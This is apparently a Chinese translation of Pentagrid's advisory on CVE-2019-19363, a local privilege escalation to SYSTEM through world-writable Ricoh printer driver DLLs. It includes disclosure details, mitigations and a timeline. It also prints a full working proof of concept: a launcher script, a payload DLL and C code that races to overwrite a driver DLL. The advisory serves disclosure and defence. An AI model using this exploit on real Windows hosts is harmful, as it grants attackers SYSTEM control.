打印机制造商Ricoh已要求Pentagrid协调披露了一个提权漏洞,以缓解影响多种打印机的Windows打印机驱动程序的漏洞。由于在将打印机添加到Windows系统时安装的文件系统条目的文件权限设置不当,因此任何本地用户都可以使用自己的代码覆盖程序库文件(DLL)。
0x01 漏洞描述
Windows加载了受不当保护的库文件PrintIsolationHost.exe,这是一个以Windows 运行的特权进程 SYSTEM。当攻击者覆盖在管理上下文中使用的库文件时,库代码也将以管理特权执行。因此,攻击者能够将特权提升为SYSTEM。
由于默认情况下在域管理的Windows计算机上不允许安装打印机,因此只要有漏洞的打印机驱动程序有效并已安装,就可以进行通用的特权升级。
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H, 8.8 High
0x02 漏洞细节
要复现此漏洞,请下载受影响的打印机驱动程序(例如,用于通用打印的PCL6驱动程序,版本4.23.0.0),自解压缩可执行文件并安装驱动程序,添加打印机,在标准Windows安装中,添加打印机不需要管理员帐户。
在打印机安装过程中,PrintIsolationHost.exe 创建目录 c:\ProgramData\RICOH_DRV ,并在此位置安装了几个文件,包括几个DLL文件。每个用户都可以完全控制已安装的DLL文件,如下所示,因为这些文件是可写的:
C:\>icacls "c:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\_common\dlz\*.dll" c:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\_common\dlz\borderline.dll Everyone:(I)(F) c:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\_common\dlz\headerfooter.dll Everyone:(I)(F) c:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\_common\dlz\jobhook.dll Everyone:(I)(F) c:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\_common\dlz\overlaywatermark.dll Everyone:(I)(F) c:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\_common\dlz\popup.dll Everyone:(I)(F) c:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\_common\dlz\watermark.dll Everyone:(I)(F) Successfully processed 6 files; Failed processing 0 files
F标志表示完全访问, I标志表示权限是从父目录继承的。继承的可写标志源自父目录,实际上,整个目录 c:\ProgramData\RICOH_DRV将完全控制权授予所有人:
C:\>icacls "c:\ProgramData\RICOH_DRV" c:\ProgramData\RICOH_DRV Everyone:(OI)(CI)(F) Successfully processed 1 files; Failed processing 0 files
此处OI表示对象继承,CI 容器继承和F如上所述的完全访问权限。
该打印机隔离功能已在Windows 7和Windows Server 2008被引入到不必在同一个进程中后台处理程序的打印机驱动程序,隔离应该为其他用户的打印作业增加稳定性。
0x03 漏洞利用
当c:\ProgramData\RICOH_DRV本地攻击者在适当的时候重写了中的DLL文件时,该 PrintIsolationHost.exe 将加载攻击者提供的DLL文件,如下面的截图所示。之后,由于PrintIsolationHost.exe 使用 了SYSTEM 特权,因此库代码将获得 SYSTEM 特权执行。
要利用此漏洞,攻击者需要以常规用户身份访问Windows主机,并且必须能够安装受影响的Ricoh打印机驱动程序以及添加打印机,通常无需管理员访问即可添加打印机。
1. Launch Script
REM This example batch script executes the proof of concept exploit. REM Written by Pentagrid AG, 2019. REM See https://pentagrid.ch/en/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/ SET DLL=watermark.dll SET STEPS=2 SET PRINTERNAME=RICOH PCL6 UniversalDriver V4.23 REM SET PRINTERNAME=RICOH Aficio SP 8300DN PCL 6 REM SET PRINTERNAME=RICOH P 501 PCL 6 REM SET PRINTERNAME=RICOH MP C6503 PCL 6 PoC.exe ^ "%PRINTERNAME%" ^ "C:\ProgramData\RICOH_DRV\%PRINTERNAME%\_common\dlz\%DLL%" ^ "RICOH_DRV\%PRINTERNAME%\_common\dlz\%DLL%" ^ Dll.dll ^ %STEPS% REM Wait for a moment timeout /t 5 dir c:\result.txt
2. Payload DLL
/* This proof of concept DLL executes a shell command with elevated privileges. Written by Pentagrid AG, 2019. Cf. https://pentagrid.ch/en/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/ */ #include "stdafx.h" #include BOOL WINAPI DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { WinExec("cmd.exe /c whoami > c:\\result.txt", SW_HIDE); return TRUE; }
3. Exploit
/* This proof of concept code monitors file changes on Ricoh's driver DLL files and overwrites a DLL file before the library is loaded (CVE-2019-19363). Written by Pentagrid AG, 2019. Cf. https://pentagrid.ch/en/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/ Credits: Alexander Pudwill This proof of concept code is based on the ReadDirectoryChangesW API call to get notified about changes on files and directories and reuses parts from the example from https://www.experts-exchange.com/questions/22507220/ReadDirectoryChangesW-FWATCH-MSDN-sample-not-working.html */ #include #include #include #include #define MAX_BUFFER 4096 int change_counter = 0; const WCHAR * const BaseDirName = L"C:\\ProgramData"; const WCHAR * TargetDllFullFilePath, * TargetDLLRelFilePath, * MaliciousLibraryFile, * PrinterName; DWORD dwNotifyFilter = FILE_NOTIFY_CHANGE_LAST_WRITE | FILE_NOTIFY_CHANGE_SIZE | FILE_NOTIFY_CHANGE_LAST_ACCESS | FILE_NOTIFY_CHANGE_CREATION; typedef struct _DIRECTORY_INFO { HANDLE hDir; TCHAR lpszDirName[MAX_PATH]; CHAR lpBuffer[MAX_BUFFER]; DWORD dwBufLength; OVERLAPPED Overlapped; } DIRECTORY_INFO, *PDIRECTORY_INFO, *LPDIRECTORY_INFO; DIRECTORY_INFO DirInfo; void WINAPI HandleDirectoryChange(DWORD dwCompletionPort) { DWORD numBytes, cbOffset; LPDIRECTORY_INFO di; LPOVERLAPPED lpOverlapped; PFILE_NOTIFY_INFORMATION fni; WCHAR FileName[MAX_PATH]; do { GetQueuedCompletionStatus((HANDLE)dwCompletionPort, &numBytes, (LPDWORD)&di, &lpOverlapped, INFINITE); if (di) { fni = (PFILE_NOTIFY_INFORMATION)di->lpBuffer; do { cbOffset = fni->NextEntryOffset; // get filename size_t num_elem = fni->FileNameLength / sizeof(WCHAR); if (num_elem >= sizeof(FileName) / sizeof(WCHAR)) num_elem = 0; wcsncpy_s(FileName, sizeof(FileName)/sizeof(WCHAR), fni->FileName, num_elem); FileName[num_elem] = '\0'; wprintf(L"+ Event for %s [%d]\n", FileName, change_counter); if (fni->Action == FILE_ACTION_MODIFIED) { if (!wcscmp(FileName, TargetDLLRelFilePath)) { if (change_counter > 0) change_counter--; if (change_counter == 0) { change_counter--; if (CopyFile(MaliciousLibraryFile, TargetDllFullFilePath, FALSE)) wprintf(L"+ File %s copied to %s.\n", MaliciousLibraryFile, TargetDllFullFilePath); else { wchar_t buf[256]; FormatMessageW(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), buf, (sizeof(buf) / sizeof(wchar_t)), NULL); wprintf(L"+ Failed to copy file %s to %s: %s\n", MaliciousLibraryFile, TargetDllFullFilePath, buf); } exit(1); } // end of trigger part } } // eo action mod fni = (PFILE_NOTIFY_INFORMATION)((LPBYTE)fni + cbOffset); } while (cbOffset); // Reissue the watch command ReadDirectoryChangesW(di->hDir, di->lpBuffer, MAX_BUFFER, TRUE, dwNotifyFilter, &di->dwBufLength, &di->Overlapped, NULL); } } while (di); } void WINAPI InstallPrinter() { WCHAR cmd_buf[1000]; swprintf(cmd_buf, sizeof(cmd_buf), L"/c rundll32 printui.dll, PrintUIEntry /if /b \"Printer\" /r lpt1: /m \"%s\"", PrinterName); wprintf(L"+ Adding printer: %s\n", cmd_buf); unsigned long ret = (unsigned long) ShellExecuteW(0, L"open", L"cmd", cmd_buf, NULL, SW_HIDE); if(ret <= 32) // That seems to be the way to handle ShellExecuteW's ret value. wprintf(L"+ Failed launching command. Return value is %d\n", ret); } void WINAPI WatchDirectories(HANDLE hCompPort) { DWORD tid; HANDLE hThread; ReadDirectoryChangesW(DirInfo.hDir, DirInfo.lpBuffer, MAX_BUFFER, TRUE, dwNotifyFilter, &DirInfo.dwBufLength, &DirInfo.Overlapped, NULL); // Create a thread to sit on the directory changes hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)HandleDirectoryChange, hCompPort, 0, &tid); // Just loop and wait for the user to quit InstallPrinter(); while (_getch() != 'q'); // The user has quit - clean up PostQueuedCompletionStatus(hCompPort, 0, 0, NULL); // Wait for the Directory thread to finish before exiting WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); } int wmain(int argc, WCHAR *argv[]) { HANDLE hCompPort = NULL; // Handle To a Completion Port if (argc == 6) { PrinterName = argv[1]; TargetDllFullFilePath = argv[2]; TargetDLLRelFilePath = argv[3]; MaliciousLibraryFile = argv[4]; change_counter = _wtoi(argv[5]); } else { wprintf(L"+ Usage: %s \n", argv[0]); return 0; } wprintf(L"+ Monitoring directory %s\n", BaseDirName); // Get a handle to the directory DirInfo.hDir = CreateFile(BaseDirName, FILE_LIST_DIRECTORY, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED, NULL); if (DirInfo.hDir == INVALID_HANDLE_VALUE) { wprintf(L"Unable to open directory %s. GLE=%ld. Terminating...\n", BaseDirName, GetLastError()); return 0; } lstrcpy(DirInfo.lpszDirName, BaseDirName); if (HANDLE hFile = CreateFile(TargetDllFullFilePath, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL)) { wprintf(L"+ File %s created\n", TargetDllFullFilePath); CloseHandle(hFile); } else wprintf(L"+ File %s could not be created\n", TargetDllFullFilePath); if ((hCompPort = CreateIoCompletionPort(DirInfo.hDir, hCompPort, (ULONG_PTR)&DirInfo, 0)) == NULL) { wprintf(L"+ CreateIoCompletionPort() failed.\n"); return 0; } wprintf(L"+ Press to exit\n"); // Start watching WatchDirectories(hCompPort); CloseHandle(DirInfo.hDir); CloseHandle(hCompPort); return 1; }
0x04 影响组件
Ricoh,Savin和Lanier打印机品牌的打印机驱动程序会受到此漏洞影响。已知以下Windows 10驱动程序会受到影响:
· SP 8300DN-适用于通用打印的PCL6驱动程序,版本4.23.0.0,发布日期10/08/2019:http : //support.ricoh.com/bb/pub_e/dr_ut_e/0001315/0001315878/V42300/z87179L19.exe (SHA -256 064c1db754d43edbd8c9c23185b817d6 a29775c93c1049605f5d907a472d64ab)
· SP 8300DN-PCL 6驱动程序,版本1.5.0.0,发布日期2016年7月3日:http : //support.ricoh.com/bb/pub_e/dr_ut_e/0001294/0001294259/V1500/z75198L13.exe (SHA-256 af2fa42905850f58879816956d322dc5 adfb1f89fbe7f6af830f465fbc0e3cc1)
· P 501/502-PCL 6驱动程序,版本1.1.0.0,发布日期03/02/2019:http : //support.ricoh.com/bb/pub_e/dr_ut_e/0001311/0001311756/V1100/z84997L16.exe (SHA -256 564b27f16db12cafd15eec6057c75b3 0dbac25dbbebb4fd5598ad09dfaaad416)
· MP C8003 / C6503系列-PCL 6驱动程序,版本1.2.0.0,发布日期24/05/2017:http : //support.ricoh.com/bb/pub_e/dr_ut_e/0001303/0001303915/V1200/z80159L15.exe ( SHA-256 3ef2a1dc09e2dde71ed9db9f6c629ff 0140d172fbe71c9e376d391e3162090f0)
尤其是通用打印驱动程序支持多种打印机型号,此外,Savin和Lanier品牌上也有相同的驱动程序。Ricoh的漏洞通报 列出了受影响的驱动程序和版本。
https://www.ricoh.com/info/2020/0122_1/list
0x05 解决方案
有关缓解措施和安全补丁程序,请参考Ricoh的建议。请参阅下面的更新。
Windows组策略是一个临时的解决方法。使用组策略时,有一个组策略可控制安装打印机驱动程序(Windows设置->安全设置->本地策略->安全选项->设备:阻止用户安装打印机驱动程序),另一个组策略可控制添加打印机(用户配置->管理模板->控制面板->打印机->防止添加打印机)。
0x06 时间线
· 2019-10-17:要求Pentagrid披露漏洞。
· 2019-10-23:询问@ricoheurope Twitter有关安全联系人的信息,没有回应。
· 2019-10-29:通过LinkedIn成功与Ricoh员工建立了联系。到目前为止,通过LinkedIn进行的其他联系尝试均失败。
· 2019-10-29:向@AskRicoh Twitter询问有关安全联系人的信息。
· 2019-10-31:通过LinkedIn联系人收到了两个电子邮件地址,作为潜在的安全联系人。
· 2019-11-02:首次联系提供了两个Ricoh电子邮件地址。
· 2019-11-04:收到PSIRT联系地址([email protected])。
· 2019-11-05:向PSIRT发送了初步咨询。
· 2019-11-05:@AskRicoh在Twitter上回复。
· 2019-11-14:Ricoh PSIRT回应。
· 2019-12-05:分配CVE-2019-19363。
· 2020年1月22日:Ricoh发布了咨询报告,补丁程序和缓解措施尚未得到验证。
· 2020年1月22日:在首次联系90天后更新并发布了此建议。
本文翻译自:https//www.pentagrid.ch/en/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/如若转载,请注明原文地址: